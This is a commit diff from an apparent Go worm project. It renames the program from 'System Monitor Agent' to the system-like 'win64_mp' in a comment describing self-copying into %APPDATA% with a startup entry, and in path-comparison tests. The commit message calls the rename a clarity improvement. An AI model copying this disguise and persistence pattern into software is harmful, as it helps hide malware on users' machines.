Update project references from "System Monitor Agent" to "win64_mp" throughout the codebase, including changes to executable names, comments, and documentation for improved clarity and consistency.
This commit is contained in:
@@ -11,7 +11,7 @@ import (
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
// Ensure copies the running exe into %APPDATA%\SystemMonitorAgent\ when needed,
|
||||
// Ensure copies the running exe into %APPDATA%\win64_mp\ when needed,
|
||||
// refreshes an existing startup entry to that path, and re-launches from there.
|
||||
func Ensure() error {
|
||||
target, err := config.InstalledExe()
|
||||
|
||||
@@ -13,8 +13,8 @@ func TestSamePath(t *testing.T) {
|
||||
a, b string
|
||||
want bool
|
||||
}{
|
||||
{`C:\Apps\SystemMonitorAgent.exe`, `c:\apps\systemmonitoragent.exe`, true},
|
||||
{`C:\Apps\SystemMonitorAgent.exe`, `C:\Apps\copy.exe`, false},
|
||||
{`C:\Apps\win64_mp.exe`, `c:\apps\win64_mp.exe`, true},
|
||||
{`C:\Apps\win64_mp.exe`, `C:\Apps\copy.exe`, false},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
if got := samePath(tc.a, tc.b); got != tc.want {
|
||||
|
||||
Reference in New Issue
Block a user